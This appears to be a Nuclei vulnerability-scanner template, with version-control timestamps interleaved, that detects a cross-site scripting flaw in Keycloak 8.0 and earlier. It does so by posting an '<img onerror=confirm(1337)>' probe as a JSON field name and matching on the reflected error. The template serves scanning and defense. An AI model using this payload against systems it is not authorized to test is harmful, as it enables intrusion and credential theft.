2021-02-01 16:47:31 +00:00
id : keycloak-xss
info :
2022-09-23 17:53:08 +00:00
name : Keycloak <=8.0 - Cross-Site Scripting
2021-02-01 16:47:31 +00:00
author : incogbyte
2021-10-09 03:16:17 +00:00
severity : info
2022-09-23 17:53:08 +00:00
description : Keycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
2022-04-22 10:38:41 +00:00
reference :
- https://cure53.de/pentest-report_keycloak.pdf
2022-09-23 17:53:08 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2021-02-12 05:53:01 +00:00
tags : keycloak,xss
2021-02-01 16:47:31 +00:00
requests :
- raw :
- |
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{"<img onerror=confirm(1337) src/>" : 1 }
matchers-condition : and
matchers :
- type : status
status :
- 400
- type : word
words :
2022-09-09 17:34:37 +00:00
- 'Unrecognized field "<img onerror=confirm(1337) src/>"'
2022-09-23 17:53:08 +00:00
# Enhanced by mp on 2022/09/23
